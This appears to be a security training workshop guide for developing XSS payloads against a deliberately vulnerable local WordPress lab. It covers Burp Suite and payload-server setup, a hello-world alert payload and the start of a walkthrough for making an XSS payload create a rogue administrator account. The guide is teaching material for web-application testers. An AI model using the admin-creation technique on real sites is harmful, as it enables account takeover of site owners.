Weaponized XSS Workshop

Workshop	2
Getting Help	2
Overview	3
Virtual Machine Setup	4
Adjusting Screen Resolution	5
Setup	6
Start Burp Suite	6
Start Firefox	8
Start Text Editor	9
Payload Web Server	10
Burp Suite Proxy Setup	12
Hello World	16
New Administrator Walkthrough	23
That Darned Nonce	37
Appendix	50
XSS Injection Location	50
Meterpreter Shell Notes	51
Refresher Talk	53

Workshop

There are two approaches to this workshop. The first is simply to experiment with the provided example payloads and observe their effects on the web server. Feel free to break something and feel good about it. The second is to develop a completely new payload, targeting different functionality.

Note that you're free to create destructive payloads against the target web application and server. You can always spin up a new VM from the downloadable .ova file

Getting Help

We hope you have fun with the workshop and learn as much as you can. If you have any problems or could use a tip, feel free to ask. You can also contact me directly at the following: <u>Drew.Kirkpatrick@TrustedSec.com</u> Twitter: @hoodoer

Discord: hoodoer#2744

I'm also on various infosec slacks and NetSec Focus as @hoodoer.

Overview

Thank you for trying the XSS Weaponization workshop!

You'll be attacking a WordPress server admin through a XSS vulnerability. But before you can do that, you'll need to develop your exploit.

You'll have your own development VM to use to create and test your payload. The development VM includes a locally running vulnerable WordPress application. You'll have an Admin account so you can play the role of "victim" to test your payload. Your payload will be written in JavaScript.

You'll be provided working JavaScript payload examples on your development system. You can use these examples to create a new or modified JavaScript XSS payload that targets different functionality of the application, or just play around with the existing payloads.

Burp Suite proxy is also installed and configured to intercept and monitor the requests and responses between your Firefox browser and the vulnerable WordPress application.

Virtual Machine Setup

The VM is distributed as an OVA file, which will allow you to create the VM in either VMWare Fusion/Workstation or VirtualBox.

If you haven't already, download the .ova file (it's big!) at: https://download.hoodoer.com/vm.ova

A copy of this guide can be downloaded at: https://download.hoodoer.com/guide.pdf

The guide is also copied to the desktop of the VM.

Now that you've created and booted the VM, login with the following credentials: User: **playerone** Password: **toor**

Adjusting Screen Resolution

You should take a moment to adjust your desktop resolution to a comfortable view. The VM will not automatically resize itself when you adjust the window size unless you install the required VMWare tools or VirtualBox guest additions.

The VM has the display settings pinned in the panel on the bottom as seen below.



Display Settings Shortcut

Opening the display settings will allow you to quickly change the resolution and VM window size:

	Display			+ = ×
Select Desire	ayout			
Resolution		Virtual1		-
		R <u>e</u> solution:	1680×1050	•
		Refresh <u>r</u> ate:	60.0 Hz	-
Apply Desired		Ro <u>t</u> ation:	None	•
Resolution	_	Re <u>fl</u> ection:	None	-
Incoordin				
Configure <u>n</u> ew displays when cor	nnected	Identify	Display	Apply
e Help				X Close
		1 🧖 👝		

Display Settings Menu

A copy of this guide is also on the VM's desktop if you prefer to work completely on that VM's desktop.

Setup

We'll need to start a few applications in order to be able to work with your vulnerable web application.

Start Burp Suite

Burp Suite acts as a proxy between your browser and the web application, allowing you to view and manipulate requests and responses. This tool is essential to any web application tester. You'll be able to use this tool to compare the "real" requests made by the application, and the requests made by your malicious XSS payload to help debug your code.

Click the Burp Suite shortcut on the menu bar at the bottom of the screen as seen below.



Burp Suite shortcut

Once Burp Suite opens, you need to select the "next" option, seen below.

Note: If Burp asks you to update, I would recommend you skip the update.

8		Burp	Suite Community Edition	n v2.1.07	+ _ = ×
0	Welcome to Burp Suite Community E Note: Disk-based projects are only su Temporary project	dition. Use the op	otions below to create or oper Suite Professional.	1 a project.	BURPSUITE COMMUNITY EDITION
	New project on disk	Name: File:			Choose file
	Open existing project	File:	Name	File Click N	Choose file Cancel Next

Click Next

On the next screen, keep the default settings and click "Start Burp".

3	Burj	o Suite Community Edition v2.1.07	+ _ = ×
?	Select the configuration that you would like to load fo	r this project.	
	Ise Burp defaults		
	Use options saved with project		
	Coad from configuration file File:	File Click Start E	Burp Choose file
	 Default to the above in future Disable extensions 	Cancel	Back Start Burp

Start Burp

After a few moments to start up your Burp Suite interception proxy will be ready for use.

Start Firefox

Now that your Burp Suite proxy is running, start Firefox by selecting the shortcut at the bottom of the screen.



Firefox shortcut

Firefox is pre-configured to use Burp Suite as its proxy and has the vulnerable web application set as its homepage.

e	InfoSec Fashionistas - The hottest in T-Shirt fashion - Mozilla Firefox
InfoSec Fashionistas – The h $ imes$	+
\leftrightarrow > C' $$	0 0 127.0.0.1

InfoSec Fashionistas — The hottest in T-Shirt fashion

Who Wore it Best?



Locally hosted web application

Start Text Editor

You'll need a text editor that we'll be using to develop your malicious XSS payload. Start the Sublime Text Editor by selecting the shortcut at the bottom of the screen.



Sublime text shortcut

Sublime Text is preconfigured to open two files:

- demoFunctions.js Sample XSS payloads that work against this WordPress application, you can copy and paste from this file to build up your own payloads
- payload.js An empty file where you'll be developing your XSS payload.

Note that the XSS that loads the payload.js file has already been added into the application. If you use a different file than '**payload.js**', which is being loaded by the vulnerable web application, you'll need to adjust the script include in the XSS injection. See the appendix on the injection location.



Sublime text editor

Payload Web Server

Your malicious XSS payload will be contained in the '**payload.js**' file. We need a simple HTTP web server to host this file. This allows the injected XSS to remotely load this payload.js file. We'll use a python module to serve this file.

Open a terminal:



Command Terminal Shortcut

Then change directories to where the JavaScript files are located with the command 'cd /home/playerone/payloadDev/'

					Terminal - playerone@xssWorkshop: ~	•	
File	Edit	View	Terminal	Tabs	Help		
play	eron	e@xss	Worksho	p:~ \$	<pre>cd /home/playerone/payloadDev/</pre>		
							_
							_
							_
							_

Change directories

If you list the files in this directory with the '**Is**' command, you'll see the two JavaScript files that are currently open in Sublime Text Editor, and an extra reference file for the walkthrough section of the guide.



JavaScript files

Now we can start the simple HTTP server on port 8000 that will make our files available on the network. The command to do this is:

python -m SimpleHTTPServer 8000

2				Termir	al - playe	rone@xssW	/orkshop:	~/payloadDe	ev		÷
File	Edit	View	Terminal	Tabs	Help						
play play demo play Serv	veron veron veron veron ving	e@xss e@xss tions e@xss HTTP	Worksho Worksho js gu Worksho on 0.0.	p:~\$ p:~/ ideCo p:~/ 0.0	cd /hc bayload odeSnip bayload bort 80	me/playe Dev\$ ls pets.js Dev\$ py 00	erone/p paylo thon -m	ayloadDe ad.js SimpleH	v/ TTPServer	8000	

Payload HTTP server running

Burp Suite Proxy Setup

Before we move onto a more interesting example, we need to do a little more setup in Burp Suite and get familiar with how we can use it to help develop our malicious payload. Burp Suite provides a number of tools wrapped up into a giant ugly Java application. Its most important functionality is that it acts as an HTTP Proxy, allowing traffic between our testing browser (or any other HTTP proxy compatible tool) and a destination server.

Burp is able to inspect, analyze, and modify requests to, and responses from, a web server. For the purposes of this workshop, the only functionality you need to really concern yourself with is finding a request and response in the proxy history, and using the '**comparer**' tool to compare a request made by the web application when clicking through some functionality, and a request made by malicious JavaScript attempting to emulate that functionality.

First, we need to add our target web application into the "scope" of our Burp temporary project. This will allow us to filter out all other web traffic. Go to the Burp application, and select the '**Target**' tab, and the '**Site map**' subtab. Right click on the '**http://127.0.0.1**' entry, and select '**Add to scope**' from the context menu.

1			Burp S	uite Comn	nun	ity Editio	on v2020.9.	1 - Tempor
Burp Project Intruder Repeater	Window	Help						
Dashboard Target Proxy Ir	ntruder	Repeater	Sequencer	Decoder	Co	mparer	Extender	Project op
Site map Scope Issue definit	tions							
Filter: Hiding not found items; hid	ling CSS,	image and	general binaŋ	y content;	hidir	ng 4xx re	sponses; hi	ding empty
http://127.0.0.1						Jethod	URL	
Inttp://detectportal.firefox.com	ntt Ada	p://127.0.	0.1/			BET	1	
 http://rirefox.settings.servic http://push.services.mozilla 	Sca Eng Cor Exp	an Jagement to mpare site r Jand branch	ools (Pro versi naps	on only]	•	BET BET BET BET	/wp-include /index.php/ /index.php/ /index.php/ /index.php/	s/js/wp-e 2019/12/ 2019/12/0. author/ad. category/u
	Exp Del Cop Cop	and reques ete host by URLs in t by links in th	ited items his host his host			BET BET BET	/index.php/ /index.php/ /index.php/ /wp-conten	feed/ wp-json/ t/plugins/p
	Sho	w new site	map window			-		
	Show new site map window Site map documentation							
Right Click http://127.0.	.0.1		Pretty R 1 GET / 2 Host: 3 User-A	aw \n HTTP/1.1 127.0.0.1 igent: Moz	Ac	tions ∨	X11; Linux	(_x86_64;

Add the vulnerable web application to the scope

If you get a popup about proxy history logging, answer '**Yes**' to the popup about stopping Burp from logging out of scope traffic.

3	Proxy history logging 🔶 🗉 🕈
?	You have added an item to Target scope. Do you want Burp Proxy to stop sending out-of-scope items to the history or other Burp tools?
	Answering "yes" will avoid accumulating project data for out-of-scope items.
	Always take the same action in future

Select 'Yes'

Now we need to configure our proxy history to only show the in-scope applications. Select the '**Proxy**' tab and the '**HTTP history**' subtab.

1			B	urp S	uite Comn	nunity	Edition	v2020.9.	1 - Ter		
Burp Project Intruder Repeater Win	dow Help										
Dashboard Target Proxy Intruc	der Repe	eater	Seque	ncer	Decoder	Comp	barer	Extender	Proje		
Intercept HTTP history WebSock	ets history	/ Opt	tions								
	Logging of out-of-scope Proxy traffic is disc										
Filter: Hiding CSS, image and general	binary cor	ntent									
# 🔺 Host	Method	URL					Param	s Edited	Sta		
1 http://detectportal.firefox.co	GET	/succ	ess.t×t						20		
2 http://127.0.0.1	GET	/							20		
3 http://detectportal.firefox.co	GET	/succ	ess.txt?	ip∨4			\checkmark		20		
4 http://detectportal.firefox.co	GET	/succ	ess.txt?	ipv6			\checkmark		20		
6 http://127.0.0.1	GET	/wp-ir	ncludes/j	js/wp-	embed.min	.js?	\checkmark		20		
7 https://firefox.settings.servi	GET	/v1/b	uckets/n	nain/c	ollections/n	ns-I			20		
8 https://push.services.mozill	GET	1							10		
9 https://snippets.cdn.mozilla	GET	/us-w	est/bun	dles-p	regen/Firefo	ox/e			20		
12 http://detectportal.firefox.co	GET	/succ	ess.txt						20		
13 http://detectportal.firefox.co	GET	/succ	ess.txt?	ipv6			\checkmark		20		
14 http://detectportal.firefox.co	GET	/succ	ess.txt?	ip∨4			\checkmark		20		
1											

Navigate to the Burp HTTP history

Next you need to left click the Filter bar, and select 'Show only in-scope items'.

		Open i	filter ı	menu	
Burn Project Intruder Repeater Window Help		Burp Suite	Commun	ity Edition	v2,1,0
Dashboard Target Proxy Intruder Proe	ater Sequencer	Decoder	Comparer	Extender	Projec
Intercept HTTP history W sockets history	Options	······································			
		Log	ging of out-	of-scope Pro	oxy traffi
Filter. mong CSS, image and general binary conte	ent				
(?) Filter by request type	Filter by MIME typ	be	Filte	r by status o	code
Show only in-scope items	M HTML	🗹 Other text		2xx [succe	ss]
Hide items without responses	Script	Images		3xx [redire	ection]
Show only parameterized requests		Flash Other bina	ry 🗹	4xx [reque 5xx [serve	st error] r error]
Filter by search term [Pro only]	Filter by file ex	tension			Filter by
	Show only	asp,aspx,js	p.php		Sho
 Regex Case sensitive Negative search 	🔲 Hide:	js,gif,jpg,pr	ng,css		Sho
Show all Hide all Revert change	ges				

Click 'Filter' bar to

Select 'Show only in-scope items'

Click anywhere outside the filter menu to close it. Your proxy history will now only show requests and responses to the vulnerable web application.

Hello World

To play the role of the victim of the attack you need to log into the vulnerable WordPress application as the administrator. You'll be able to view the page that has the XSS injection in it to launch your payload. You can simply refresh this page in order to run new versions of your payload.

Access the WordPress login at the following URL on your development system and login as the admin user: http://127.0.0.1/wp-admin/

Username: admin Password: Password123!

Note: if for any reason you need to log into the low privilege user account, you can use the following credentials:

Username: **bob** Password: **Password123!**

You now need to open the admin posts view by clicking the following link:



Open the admin posts view

You'll see a list of posts. There is a "**XSS Post - Pending**" post. This is the post that already has our XSS injection that will include our '**payload.js**' file and execute it. Before you do that you should open the web developer console on the browser tab so that you can see debugging print statements from your JavaScript payload code. You can open the developer console as seen in the following screenshot.

ionistas — WordPress - Mo	ozilla Firefox			• -	
php					r IĘ
			Sign in to Firefox		>
			네. Privacy Protections		
			🗗 New Window	Ct	crl+N
			🗢 New Private Window	Ctrl+Sh	ift+P
			Restore Previous Session		
ery! Would you consider leavin	ng us a review on WordPress.org?		Zoom - (100%) +	⊾7
w 🛗 Maybe Later 🛛 🛛	lever show again		IN IN <t< td=""><td>Ê</td></t<>	Ê	
			III\ Library		>
			🗝 Logins and Passwords		
			📥 Add-ons	Ctrl+Shi	ift+A
			* Preferences		
Filter			🖍 Customize		
Author	Categories	Tags	Open File	Ct	trl+0
Bob Wifflebottoms	Uncategorized	_	Save Page As	Ct	trl+S
			🖶 Print		
admin	Uncategorized	_	Q Find in This Page	C	trl+F
			More		>
Author	Categories	Tage	Web Developer		>
Autio	coregones	1095	📫 What's New		>
			⑦ Help		>
			🖒 Quit	Ct	trl+Q

Go to Menu -> Web Developer

From the web developer menu select the web console option as seen below.

iistas — WordPress - Mozilla Fire	efox			+ - = >
ıp			· III\ 🗊	•
			< Web Develop	ber
		-	Toggle Tools Inspector Web Console	Ctrl+Shift+I Ctrl+Shift+C Ctrl+Shift+K
r! Would you consider leaving us a rev	view on WordPress.or	g?	Debugger Network Style Editor	Ctrl+Shift+Z Ctrl+Shift+E Shift+F7
∰ <u>Maybe Later</u>	<u>wagain</u>		Performance Storage Inspector Accessibility	Shift+F5 Shift+F9 Shift+F12
Filter Catego	ories	Tans	Remote Debugging Browser Console Responsive Design Eyedropper	Ctrl+Shift+J Ctrl+Shift+M
Bob Wifflebottoms Uncate	egorized	— -	Page Source Get More Tools	Ctrl+U
admin Uncate	gorized	_	Work Offline	
Author Catego	ories	Tags		
	Open	the web consol	le	

Once you open the developer web console, you'll see your payloads JavaScript print/debug statements at the bottom.

*	Appearance	Title	Author	Categories	Tags		Date	
sie .	Plugins 🔕	XSS Post — Pending	Bob Wifflebottoms	Uncategorized	-	_	Last Modified	
÷	Users						2020/02/13	
æ	Tools	Who Wore it Best?	admin	Uncategorized	_	_	Published	
63	Settings		2.27	1212		_	2013/12/00	
1G	Photo Gallery	Title	Author	Categories	Tags		Date	
0	Collapse menu	Bulk Actions					2 items	
LK m	Le D Inspector D Console D Debugger 1 Network () Style Editor () Performance U Memory H Storage 7 Accessibility 11 What's New							
	Filter Output				Errors Warnings	Loas Info Debug	CSS XHR Requests	
	♀ Filter Output This page uses the non	standard property "zoom". Consider using calc() in the relevan	t property values, or using "	transform" along with '	Errors Warnings Transform-origin: 0 0".	Logs Info Debug	CSS XHR Requests 🔆 edit.php	
	☆ Filter Output This page uses the non JQMIGRATE: Migrate is i	standard property "zoom". Consider using calc() in the relevan installed, version 1.4.1 \ensuremath{L}	t property values, or using "	transform" along with '	Errors Warnings	Logs Info Debug	CSS XHR Requests edit.php load-scripts.php:8:552	
	☆ Filter Output This page uses the non JQMIGRATE: Migrate is i	standard property "zoom". Consider using calc() in the relevant installed, version $1.4.1$	nt property values, or using "	transform" along with '	Errors Warnings "transform-origin: 0 0".	Logs Info Debug	CSS XHR Requests edit.php load-scripts.php:8:552	
	▼ Filter Output This page uses the non JQMIGRATE: Migrate is if	standard property "zoom". Consider using calc() in the relevan installed, version 1.4.1 $\label{eq:calcorrelation}$	it property values, or using "	transform" along with '	Errors Warnings	Logs Info Debug	CSS XHR Requests edit.php load-scripts.php:8:552	
* *	∀ Filter Output This page uses the non JOMIGRATE: Migrate is i	standard property "zoom". Consider using calc() in the relevan installed, version 1.4.1	it property values, or using "	transform" along with '	Errors Warnings	Logs Info Debug	CSS XHR Requests X edit.php load-scripts.php:8:552	
* *	¥ Filter Output This page uses the non JQMIGRATE: Migrate is i	standard property "zoom". Consider using calc() in the relevan installed, version 1.4.1	t property values, or using "	transform" along with '	Erors Warnings "transform-origin: 0 0".	Logs Info Debug	CSS XHR Requests edit.php load-scripts.php:8:552	

Web console

Now you're ready to preview the XSS Post. Move your mouse to the '**XSS Post**' title, and select the '**Preview**' option:

Posts Add New	Mouse ov	ver "	XSS Post' ti	itle	
All (2) Mine (1) Published	(1) Pending (1)				
Bulk Actions Apply	All dates	•	All Categories	•	Filter
🗌 Title					Autho
XSS Post — Pending					Bob W
Edit Quick Edit Trash	Preview				
Who Wore it Best?					admin
		Clic	k 'Preview'		
Title					Autho

Select to preview the post

You'll see a preview of this post load in the browser tab. This is the post that has the XSS injection that loads our malicious '**payload.js**' file. If you go to your terminal that is running your python SimpleHTTPServer, you'll see that the victim's browser has pulled in the payload file:

```
root@cdb:/# cd /root/payloadDev/
root@cdb:~/payloadDev# ls
demoFunctions.js payload.js
root@cdb:~/payloadDev# python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - [17/Feb/2020 10:49:24] "GET /payload.js HTTP/1.1" 200 -
```

Victim browser loaded the payload.js file

If we view the current contents of our **payload.js** file, you'll see that it only contains a comment:



Initial payload.js contents

Let's start with a simple payload. Type the following text into the payload.js file *Note: Copies of the code snippets used in the guide can be found in /home/playerone/payloadDev/guideCodeSnippets.js*

Code:

console.log('The world will be alerted');
alert('Hello World!');



Hello World payload

Once this code has been entered, save the payload.js file and refresh the post preview page in the browser. You'll see that the JavaScript payload executed, and you see both the alert box and the print statement to the console.



Alert box and console print statement

Now that you've achieved the dreaded alert box, let see if we can do something more interesting.

New Administrator Walkthrough

This section will walk you through how to develop the payload that will add a new administrative user of your choosing. If you haven't already, log into the WordPress site as the administrator.

Note: If you just want to play with existing payloads, a function to add a new administrator is available in the **demoFunctions.j**s file.

Access the WordPress login at the following URL on your development system: <u>http://127.0.0.1/wp-admin/</u>

Username: admin Password: Password123!

Now let's add a new user manually the way an administrator would so that we can see what that request looks like in Burp.



Select Users, then Add New

Fill in the required fields (username, email, password), and change the user role to 'Administrator'. Select to add the new user.



Fill in the data for the new Administrator

Once you're returned to the user list, you'll see that your new user has been successfully added.

Users Add New			Screen Options	▼ Help
New user created. Edit user				
All (3) Administrator (2) Con Bulk actions ~ Apply	ntributor (1) Change role to v Change	Grant Roles Add role v	Add Revoke role \	Search Use Revoke 3 it
Username	Name	Email	Role	Posts
🗆 👰 admin	-	admin@example.com	Administrator	1
🗆 👷 bob	Bob Wifflebottoms	drew.kirkpatrick+tester@gmail. m	co Contributor	0
	_	test@tester.com	Administrator	0
□ Username	Name	Email	Role	Posts

New administrator user added

Now we're going to see what this request looks like in Burp Suite. Go to the Proxy History subtab and go to the very bottom of the list. The list should be in chronological order by default, you can sort on the first column to go from first to last request. Assuming you haven't done much else in the web browser since adding your new user, if you scroll up a few requests you should see a **POST** request to the **/wp-admin/user-new.php** endpoint. This is the actual request that created that new user.

Select this request so you can inspect the contents of the request.

	Burp Suite Community Edition V2020.9.1 - Temporary Project									
Burp	Burp Project Intruder Repeater Window Help									
Dash	board Target Prox	/ Intruder Repe	ater Sequencer Decoder Com	oarer Ext	ender	Project op	tions U	ser options		
Inter	cept HTTP history	WebSockets history	Options							
			Logging of out-of-s	cope Prox	y traffic i	s disabled	Re-er	able		
Filter:	Hiding out of scope iter	ms; hiding CSS, im	age and general binary content							
# 🔺	Host	Method	URL	Params	Edited	Status	Length	MIME type	Extension	Title
215	http://127.0.0.1	GET	/wp-admin/user-new.php			200	42350	HTMI	php	Add New User &lsag
218	http://127.0.0.1	GET	/wp-admin/load-scripts.php?c=0&	~		200	99397	script	php	
219	http://127.0.0.1	GET	/wp-content/plugins/user-role-edit	1		200	2192	script	is	
220	http://127.0.0.1	GET	/wp-content/plugins/user-role-edit	1		200	34441	script	is	
221	http://127.0.0.1	GET	/wp-includes/js/jquery/ui/button.mi	1		200	7508	script	js	
222	http://127.0.0.1	GET	/wp-includes/js/jquery/ui/draggable	~		200	19139	script	is	
223	http://127.0.0.1	GET	/wp-includes/js/jquery/ui/dialog.mi	~		200	12390	script	is	
225	http://127.0.0.1	POST	/wp-admin/admin-ajax.php	~		200	536	JSON	php	
226	http://127.0.0.1	POST	/wp-admin/admin-ajax.php	\checkmark		200	536	JSON	php	
227	http://127.0.0.1	POST	/wp-admin/user-new.php	~		302	404	HTML	php	
228	http://127.0.0.1	GET	/wp-admin/users.php?update=ad	~		200	49934	HTML	php	Users ‹ InfoS
232	http://127.0.0.1	POST	/wp-admin/admin-ajax.php	\checkmark		200	536	JSON	php	
)	
Requ	Jest					Re	esponse	:		
Raw	Params Headers	Hex				R	aw Hea	ders Hex		

Add new user request

Let's take a look at the actual request. At the bottom of the application, you'll see tabs for the request and response of the selected request.

Burp Suite Community Edition v2020.9.1 - Temporary Project Image: Community Edition v2020.9.1 - Temporary Project								÷			
Burp Project Intruder Repeater Wir	ndow Help	Y	<u> </u>			Ύ	. Y				
Dashboard Target Proxy Intru	der Repeate	r Sequencer	Decoder	Comparer	Extender	Project op	tions U	Iser options			
Intercept HTTP history WebSockets history Options											
Logging of out-of-scope Proxy traffic is disabled Re-enable											
Filter: Hiding out of scope items; hidi	ng CSS, image	and general bin	iary content								
# 🔺 Host	Method UR	L		Paran	ns Edited	Status	Length	MIME type	Extension	Title	Comment
225 http://127.0.0.1	POST /wp	-aurin/aurin-a	ijax.prip			200	530	ISON	php		
227 http://127.0.0.1	POST /wp	-admin/user-nev	w.php	J		302	404	HTML	php		
228 http://127.0.0.1	GFT /wr	-admin/users.ph	no?undate=	ad 🗸		200	49934	HTMI	_ php	Users &lsaguo: InfoS	
Request Response Raw Params Headers Hex											
Name Peratms Headers Hext Pretty Raw In Actions Pretty Raw In Actions 1 POST /wp-admin/user-new.php HTP/1.1 2 Host: 127.0.0.1 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 4 Accept: Except.language: en.Usp.n;q=0.5 5 Accept: Ittp://127.0.0.1/wp-admin/user-new.php 8 Content-Type: application/x-www-form-urlencoded Body of the Request 9 Content-trype: application/x-www-form-urlencoded Body of the Request 10 Ornigin: http://127.0.0.1 Body of the Request 10 Ornigin: http://127.0.0.1 Body of the Request 11 Connection: close Scolese10f95f039102cbe8366c5c7f3= admin%7C1601685426%7C1ya0zCV1jb20gUBywuS0wqBd1jJapFEum3HvTknV0%7Cd4865120daa183fcfddea91a4088fa541deeefb2feb62b94b9a8839d95f0fcc6; wordpress_test_cookie=#P+Cookie+check; PHPSESSID=crinahkcg50gb2gpugybydsk610; wordpress_logged_jip_Scolesef56309102cbe8366c5c7f3= admin%7C1601685426%7C1ya0zUV jb20gUBywuS0wqBd1jJapFEum3HvTknV0%7Cd486c8fe197e92be0f2f0be6f569292064103f9a51fd7cce7fcf6fb300ab96f8; wp-settings-1											

Raw body of the request

We can see a number of parameters passed in the body. Unfortunately in this view they're rather jumbled on top of each other. Fortunately we can select the **Params** view.

Burp Project Intruder Repeater Window Help Dashboard Target Proy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Intercept HTTP history WebSockets history Options Logging of out-of-scope Proxy traffic is disabled Re-enable Filter: Hiding out of scope items; hiding CSS, image and general binary content # Mest URL Params Edited Status Length MIME type Extension 226 http://127.0.0.1 POST Mpr-admini/agis.php V 200 538 JSON php 228 http://127.0.0.1 POST Mpr-admini/agis.php V 200 404 HTMI	8	Burp Suite Comm	inity Edition v2020.9.1 - Ten	nporary Project					
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options Intercept HTTP history WebSockets history Options Intercept HTTP history WebSockets history Options Intercept HTTP history WebSockets history Options Intercept Hot Coskie Re-enable Filter: Hiding out of scope items: hiding CSS, image and general binary content Params Edited Status Length MIME type Extension 226 http://127.0.0.1 POST Mp-admini/user-new.php ✓ 200 536 ISON php 228 http://127.0.0.1 POST Mm-admini/user.new.php ✓ 200 499.4 HTML php 228 http://127.0.0.1 CGFT Nm-admini/user.new.php ✓ 302 499.4 HTML php 228 http://127.0.0.1 CGFT Nm-admini/user.new.php ✓ 302 499.4 HTML php 70pe Name Value Cookie wordpress_5016e6f05f039102c	Burp Project Intruder Repeater Window Help								
Intercept HTTP history WebSackets history Options Logging of out-of-scope Proxy traffic is disabled Re-enable Filter: Hiding out of scope terms; hiding CSS, image and general binary content # Host Logging of out-of-scope Proxy traffic is disabled Re-enable Filter: Hiding out of scope terms; hiding CSS, image and general binary content # Params Edited Status Length MIME type Extension Z22 http://127.00.1 POST Mp-adminiadmin-ajax.php ✓ 200 536 ISON php Z23 http://127.00.1 POST Mp-adminiadmin-ajax.php ✓ 200 49934 HTML php Z24 http://127.00.1 POST Mp-adminiadmin-ajax.php ✓ 200 49934 HTML php Z28 http://127.00.1 GFT Mp-adminiadminadmina-ajax.php ✓ 200 49934 HTML php Z28 http://127.00.1 GFT Mp-adminiadminadminadminadminadminadminadmi	Dashboard Tar	et Proxy Intruder Repeater Sequencer Decoder	Comparer Extender Proje	ect options User options					
Interview Construction Logging of out-of-scope Proxy traffic is disabled Re-enable Filter: Hiding out of scope items; hiding CSS, image and general binary content Params Edited Status Length MME type Extension Z20 http://127.00.1 POST //wp-adminigatimin-ajax.php ✓ 200 536 ISON php Z21 http://127.00.1 POST //wp-adminigatimin-ajax.php ✓ 200 536 ISON php Z28 http://127.00.1 POST //wp-admini/user-new.php ✓ 200 4983 HTML php Z28 http://127.00.1 CFT //wp-admin/user-new.php ✓ 200 4983 HTML php Z28 http://127.00.1 CFT //wp-admin/user-new.php ✓ 200 4983 HTML php Z28 http://127.00.1 CFT //wp-admin/user-new.php ✓ 200 4983 HTML php Z28 http://127.00.1 CFT //wp-admin/user-new.php ✓ 200 49834 HTML php Z29 <t< td=""><td></td><td colspan="8"></td></t<>									
Logging of out-of-scope Proxy traffic is disabled [Re-enable] Filter: Hiding out of scope items; hiding CSS, image and general binary content # Host Method UPL Prive Status Length Mile type Extension 220 http://127.00.0.1 POST POST<									
Filter: Hiding cut of scope items: hiding CSS, image and general binary content	Logging of out-of-scope Proxy traffic is disabled Re-enable								
# Host Method URL Params Edited Status Length MIME type Extension 223 http://127.0.0.1 POST //POST //PO	Filter: Hiding out of scope items; hiding CSS, image and general binary content								
226 http://27.0.0.1 POST /wp-admin/admin-ajax.php ✓ 200 536 [SON php 226 http://127.0.0.1 POST /wp-admin/admin-ajax.php ✓ 200 498.4 HTML php 227 http://127.0.0.1 POST /wp-admin/admin-ajax.php ✓ 302 404 HTML php 228 http://127.0.0.1 GET /wp-admin/admin-ajax.php ✓ 302 404 HTML php 228 http://127.0.0.1 GET /wp-admin/admin-ajax.php ✓ 302 404 HTML php 228 http://127.0.0.1 GET /wp-admin/admin-ajax.php ✓ 200 499.34 HTML php 228 http://127.0.0.1 GET /wp-admin/admin-admin-ajax.php ✓ 200 499.34 HTML php 228 http://127.0.0.1 GET /wp-admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admin/admi	# 🔺 Host	Method URL	Params Edited Sta	atus Length MIME type Extension					
Intp://22.00.1 POSI /wp-admin/user-new.php V 200 536 JSON php 222 http://122.00.1 OSI /wp-admin/user-new.php V 302 404 HTML php 228 http://127.00.1 GFT /wn-admin/user-new.php V 302 404 HTML php 228 http://127.00.1 GFT /wn-admin/user-new.php V 302 404 HTML php 228 http://127.00.1 GFT /wn-admin/user-new.php V 302 404 HTML php 228 http://127.00.1 GFT /wn-admin/user-new.php V 200 49934 HTML php 228 http://127.00.1 GFT /wn-admin/user-new.php V 302 404 HTML php 228 Name Value	223 http://127.0	.0.1 POST /wp-admin/admin-ajax.pnp	200						
Z22 Introl PDST Wp-admin/users.php?update=ad V 302 404 Finit php Z28 http://127.0.0.1 GET Nm-admin/users.php?update=ad V 200 4993 HTML php Request Response Image: Construction of the state	226 http://127.0	.0.1 POST /wp-admin/admin-ajax.pnp	✓ 200	D 536 JSON php					
Request Response Raw Params Headers Hex POST request to /wp-admin/user.new.php Value Cookie wordpress_5c016e8f0f95f039102cbe8366c5c7f3 admin 1601685426 yqo2zCV jb2ogUBywuSGwqBdijjlapFEum3HvTkm Cookie wordpress_loged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin 1601685426 yqo2zCV jb2ogUBywuSGwqBdijjlapFEum3HvTkm Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 administrator Body _wponce_create-user f3897fa5a8 Body email testUser </td <td>227 http://127.0</td> <td>0.1 POST /wp-admin/user-new.pnp</td> <td>v 30.</td> <td>2 404 HIML php</td>	227 http://127.0	0.1 POST /wp-admin/user-new.pnp	v 30.	2 404 HIML php					
Request Response Raw Params Headers Hex POST request to /wp-admin/user-new.php Value Type Name Value Cookie wordpress_5c016e8f0f95f039102cbe8366c5c7f3 admin/11601685426[lyqoZzCV/jbZgUBywuSGwqBdijjlapFEum3HvTkm Cookie wordpress_test_cookie WP Cookie check Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin11601685426[lyqoZzCV/jbZguUBywuSGwqBdijjlapFEum3HvTkm Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin11601685426[lyqoZzCV/jbZguUBywuSGwqBdijjlapFEum3HvTkm Cookie wp-settings-1 160151262 Cookie wp-settings-1 160151262 Body action createuser Body _wp-notce_create-user f9587f35a8 Body _wp-admin/user-new.php Body _wp-admin/user-new.php Body _wp-admin/user-new.php Body _wp-admin/user-new.php Body _wp-admin/user-new.php Body _wp-admin/user-new.php Body user_login testUser Body [with_name Body [with_name		.u.i GF1 /wb-aomin/users.bhb?ubbare=/	a V 200						
Request Response Raw Params Headers Hex POST request to /wp-admin/user-new.php			_						
